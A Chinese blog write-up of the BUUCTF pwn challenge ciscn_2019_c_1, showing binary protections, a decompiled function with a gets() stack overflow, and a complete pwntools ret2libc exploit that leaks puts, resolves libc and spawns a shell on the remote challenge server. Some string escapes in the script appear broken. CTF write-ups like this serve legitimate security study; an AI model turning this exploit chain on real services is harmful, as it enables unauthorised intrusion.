[buuctf] pwn-ciscn_2019_c_1

ciscn_2019_c_1

查看文件保护

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位程序,只开了nx保护,ida分析,找到存在漏洞的地方

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h]
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);//栈溢出
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

程序也不存在后门函数,我们栈溢出泄露libc版本即可,但是这个加密的函数,我们得处理一下写进exp,并且泄露libc我们利用puts函数,先查找寄存器

0x0000000000400c83 : pop rdi ; ret

exp如下

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
def encrypt(string):
    str1 = list(string)
    for i in range(len(str1)):
        c = ord(string[i])
        if c <= 96 or c > 122:
            if c <= 64 or c > 90:
                if c > 47 and c <= 57:
                    c ^= 0xF
            else:
                c ^= 0xE
        else:
            c ^= 0xD
        str1[i] = chr(c)
    return ''.join(str1)

pop_rdi = 0x400c83
ret = 0x4006b9
r = remote('node3.buuoj.cn',28812)
elf = ELF('./ciscn_2019_c_1')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.sym['main']

r.recv()
r.sendline('1')
r.recvuntil('encrypted
')

payload = 'a'*0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendline(encrypt(payload))
r.recvuntil('Ciphertext
')
r.recvuntil('
')
puts_addr = u64(r.recvuntil('
', drop=True).ljust(8,'x00'))
#puts_addr = u64(r.recvuntil(b'x7f')[-6:].ljust(0x8,b'x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')

r.recv()
r.sendline('1')
r.recvuntil('encrypted
')
payload = 'a'*0x58+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
r.sendline(payload)
r.interactive()

作者:寒江寻影
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须在文章页面给出原文链接,否则保留追究法律责任的权利。
原文地址:https://www.cnblogs.com/crfshadow/p/14502500.html